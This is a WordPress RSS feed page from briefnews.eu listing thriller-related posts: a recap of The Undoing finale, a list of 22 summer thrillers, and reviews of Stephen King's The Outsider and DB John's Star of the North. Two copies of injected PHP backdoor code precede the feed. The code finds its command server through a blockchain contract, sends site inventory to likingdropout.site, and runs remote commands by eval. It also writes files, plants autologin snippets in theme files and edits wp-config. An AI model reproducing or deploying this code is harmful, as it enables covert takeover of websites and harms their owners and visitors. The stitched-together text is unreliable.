// q2_xh if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// q2_xh', 'vis'=>'// xp_v9', 'vis_func'=>'wp_dia8xd', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_47nl0jvi', ); $keys=array(); $keys['id']='kun'; $keys['ver']='em'; $keys['caps']='eby'; $keys['tasks']='awd'; $keys['interval']='pww'; $keys['ack_id']='nl0'; $keys['ok']='9s'; $keys['detail']='wyy'; $keys['inv']='kxw'; $keys['result']='f3t'; $hdr='X-J98-Auth';$tok='0cQMbCeRLTCSW0NdninnOEVrAtwy11ErS16wrKLqeas';$id='1d0c923bac57072b';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); // l0_9z if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// l0_9z', 'vis'=>'// zn_yn', 'vis_func'=>'wp_cuzg8t', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_mtrhds4x', ); $keys=array(); $keys['id']='ybc'; $keys['ver']='a1'; $keys['caps']='afo'; $keys['tasks']='x9t'; $keys['interval']='2e4'; $keys['ack_id']='k72'; $keys['ok']='ch'; $keys['detail']='xd9'; $keys['inv']='hw8'; $keys['result']='0bb'; $hdr='X-L8A-Auth';$tok='A3-EVnA_qOJ132k0gQIT_73RgM-QQ5Szxw145ZNDetU';$id='d1451f9eb0097c9f';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); thrillers – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Mon, 30 Nov 2020 13:01:51 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.8 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png thrillers – Brief News https://briefnews.eu 32 32 The Undoing Finale Recap: Elena’s Killer Revealed In HBO Thriller’s Climax https://briefnews.eu/the-undoing-finale-recap-elenas-killer-revealed-in-hbo-thrillers-climax/ https://briefnews.eu/the-undoing-finale-recap-elenas-killer-revealed-in-hbo-thrillers-climax/#respond Mon, 30 Nov 2020 13:01:51 +0000 https://briefnews.eu/the-undoing-finale-recap-elenas-killer-revealed-in-hbo-thrillers-climax/

RELATED STORIES

When it comes to tying up loose ends, The Undoing had more ground to cover in Sunday’s series finale than one of Grace Fraser’s marathon evening strolls. At the top of the HBO thriller’s closure-filled to-do list: Who killed Elena Alves? Coming in a close second: How many new pieces from Grace Fraser’s celebrated 2020-21 winter/spring coat collection would turn up during the 70-minute swan song?

The answer to the second question is four. The answer to the first question, meanwhile, is… Jonathan freakin’ Fraser?!

Yep, it was Hugh Grant’s prime suspect — and not Lily Rabe’s Sylvia, as most TVLine readers incorrectly guessed — who perpetrated the heinous crime at the center of the six-episode whodunit.

Of course, a bunch of bananas stuff happened in advance of the big reveal, beginning with the fallout from Grace (Nicole Kidman) discovering the murder weapon in son Henry’s violin case. “The Bloody Truth” picks up right where the penultimate hour left off, with a slack-jawed Grace clutching the elusive sculpting hammer as Henry looks on in terror. The kid immediately proclaims his innocence, insisting that he found it inside the outdoor firehouse at the family’s beach house. And he hid it to protect his dad.

Jonathan denies everything (for the umpteenth time), positing that Elena’s husband Fernando planted the weapon in an attempt to frame him. He later goes so far as to suggest that maybe Henry was in possession of the hammer because he killed Elena, especially after learning that his son put the evidence through a dish washer not once but twice. The mere suggestion infuriates Grace — and Henry.

Jonathan’s lawyer Haley recommends everyone keep their traps shut about the hammer because it’ll essentially be “game over” for Jonathan if word gets out.

The next day, Jonathan takes the stand in his murder trial. He charmingly maintains his innocence, and explains that he truly loved Elena. Furthermore, her son, Miguel, was like a son to him. He would never inflict harm on either one. And the reason he fled town the next day? He panicked.

However, while being cross-examined by the prosecution, Jonathan is at a loss to explain why he took the tux he was wearing that night to the dry cleaners.

During a break in the trial, Grace asks BFF Sylvia to join her on one of her famous walks, during which she asks her bestie a favor, one we are not immediately privy to (although we’re led to believe it might have something to do with her spilling secrets to the prosecution in an effort to seal Jonathan’s fate).

Back at the trial, Haley calls Miguel to the stand in an attempt to poke holes in his dad’s alibi. She succeeds in doing that and in amplifying Fernando’s motive. Grace later insists that she take the stand. She vows to defend Jonathan. Jonathan is elated, and Haley OKs it.

Grace initially keeps her word, imploring to the jury that Jonathan “could not have done this,” adding that he is, at his core, “a healer. He cures children of cancer…. The idea that he would take [a life] is untenable. He is a gentle man.”

During cross, however, the prosecution gets her to admit (with a little help from audio of her 911 call) that she feared for her life when fugitive Jonathan showed up at their beach house. The attorney also gets Grace to reveal damning details regarding the death of Jonathan’s sister — specifically, that he allegedly, per his estranged mother, “suffered neither guilt nor grief” in reaction to his role in sib’s death.

Basically, Grace takes Jonathan down, with a little help from Sylvia’s loose lips. His conviction seems all but certain. And Jonathan knows it.

Moments after leaving the courtroom, Haley whispers to an indignant Jonathan that it’s his own damn fault for — wait for it — not getting rid of the murder weapon. It’s in that moment that we learn that, yes, Jonathan killed Elena. And Haley knew it! What the muck?!

Subsequent flashbacks to the crime confirm all of this. And it’s gruesome.

The next day, Jonathan — who’s not even hiding his crazy now — essentially kidnaps Henry. And during the subsequent police chase, he pulls the car over in the middle of a bridge and briefly considers jumping off. He changes his mind when he sees Grace running towards him. He’s quickly handcuffed and taken away as mother and son ‘copter off to safety.

What did you think of the grand finale? Did you correctly guess whodunit? Grade the episode (and the series as a whole) below, and then hit the comments with your snappy judgements. Oh, and in case you are wondering, there will not be a second season. This truly was a limited series (read more here).

Let’s block ads! (Why?)


https://tvline.com/wp-content/uploads/2020/11/The-Undoing-Finale.png

]]> https://briefnews.eu/the-undoing-finale-recap-elenas-killer-revealed-in-hbo-thrillers-climax/feed/ 0 22 fast-paced thrillers you’ll want to bring to the beach this summer https://briefnews.eu/22-fast-paced-thrillers-youll-want-to-bring-to-the-beach-this-summer/ https://briefnews.eu/22-fast-paced-thrillers-youll-want-to-bring-to-the-beach-this-summer/#respond Wed, 04 Jul 2018 15:43:31 +0000 http://briefnews.eu/22-fast-paced-thrillers-youll-want-to-bring-to-the-beach-this-summer/ The Insider Picks team writes about stuff we think you’ll like. Business Insider has affiliate partnerships, so we get a share of the revenue from your purchase.

reading summer

If you’re anything like me, summer weekends are marked by a lot of lounging — on the warm sand, cool grass, or a park bench under a shady tree. While my body is relaxed, I like to keep my mind active, which means I’ll always have the latest mystery or thriller in hand (and an icy-cold beverage in the other, of course). 

These fast-paced books are guaranteed to make the hours go by and make you wish there was more time in the day. From popular novels that are now hit movies, to just-released thrillers by authors you’ve never heard of, this list can carry you through the summer.

Enjoy the twists and turns of these 22 mystery and thriller books this summer.

Captions are provided by Amazon. 

“Ready Player One” by Ernest Cline

Amazon

Buy it here on Amazon

Teenager Wade Watts has devoted his life to studying the puzzles hidden within this world’s digital confines — puzzles that are based on their creator’s obsession with the pop culture of decades past and that promise massive power and fortune to whoever can unlock them. 

But when Wade stumbles upon the first clue, he finds himself beset by players willing to kill to take this ultimate prize. The race is on, and if Wade’s going to survive, he’ll have to win — and confront the real world he’s always been so desperate to escape.

“16th Seduction” by James Patterson

Amazon

Buy it on Amazon here

Lindsay Boxer is learning to love again. After the picture-perfect world she shared with her husband, Joe, and their beautiful young daughter shattered under the weight of Joe’s double life, Lindsay is determined to put the pieces back together. But before she can welcome Joe back with open arms, their beloved hometown of San Francisco faces a threat unlike any the city — or the country — has ever seen.

“The Fallen” by David Baldacci

Amazon

Buy it here on Amazon

Amos Decker and his FBI colleague Alex Jamison are in Baronville visiting Alex’s sister and her family. It’s a bleak place: a former mill and mining town with a crumbling economy and rampant opioid addiction. Decker has only been there a few hours when he stumbles on a horrific double murder scene.

Then the next killing hits sickeningly close to home. And with the lives of people he cares about suddenly hanging in the balance, Decker begins to realize that the recent string of deaths may be only one small piece of a much larger scheme — with consequences that will reach far beyond Baronville.


See the rest of the story at Business Insider

See Also:

]]> https://briefnews.eu/22-fast-paced-thrillers-youll-want-to-bring-to-the-beach-this-summer/feed/ 0 A trio of gripping thrillers reviewed https://briefnews.eu/a-trio-of-gripping-thrillers-reviewed/ https://briefnews.eu/a-trio-of-gripping-thrillers-reviewed/#respond Thu, 31 May 2018 18:17:17 +0000 http://briefnews.eu/a-trio-of-gripping-thrillers-reviewed/

Thriller books reviewedPR

From Stephen King to North Korea, this week’s best thrillers have been reviewed

The Outsider by Stephen King (Hodder & Stoughton, £20) ***** 

Not content with being the master of horror and fantasy, in recent years Stephen King has earned a place among America’s finest crime writers.

Following the success of his Mr Mercedes trilogy, he has written a police procedural novel.

But it slowly becomes clear that what seems to be a conventional mystery may have an element of the supernatural at its heart.

Related articles

The Outsider is set in the fictional Flint City of Oklahoma.

The author does a fine job of capturing the close-knit nature of the small community, although I suspect his chief reason for abandoning his usual Maine setting was that he needed to set the story in a state with the death penalty.

The people of Flint City are horrified when an 11-year-old boy is murdered in the most inhuman manner imaginable.

Witnesses and forensic evidence place baseball coach and local hero Terry Maitland at the scene and he endures a humiliating public arrest during one of the biggest games of the season.

Stephen King the OutsiderPR

Stephen King proves himself as a crime writer with The Outsider

But it turns out he has a rock-solid alibi: he was at a book- signing event with crime writer Harlan Coben.

But Stephen King ventures into territory a lot darker than Coben ever would and has a cavalier attitude towards the wellbeing of his main characters, however lovable they may be.

Stephen King has written a book you can’t put down.

That’s nothing new – but after all these years it’s not an achievement we should take for granted.

So shout it from the rooftops: this new take on the old conundrum of how a man can be in two places at once is sensationally good.

Stephen KingGETTY

Stephen King manages to go to places even Harlan Coben won’t

Star Of The North by DB John (Harvill Secker, £12.99) **** 

With Kim Jong-un and North Korea featuring heavily in the news these days, I often wonder how on earth this little fellow holds an entire country so firmly in his thrall. Answers are provided in this thriller by the British writer DB John, one of the tiny number of westerners to have visited North Korea.

The story is set in 2010 when Kim Jong-un’s father, Kim Jong-il, was still alive and all-powerful.

Our heroine is Jenna Williams, half African-American and half Korean, an academic who has lived in the US all her life and has spent many years mourning her twin sister who disappeared on a visit to South Korea.

Then Jenna is contacted by a CIA agent who has evidence that her sister was abducted from a beach and spirited away on a North Korean submarine. And as DB John notes in an afterword, such random state-sponsored kidnappings are known to have occurred in real life.

Now the CIA wants to recruit Jenna for a daring mission to put a spoke in North Korea’s plans for world domination. Jenna is a slightly uninspiring identikit thriller heroine but the author tells his exciting story well and is a fine writer of action scenes.

But what really makes the book unmissable is its portrayal of everyday life for ordinary people in North Korea.

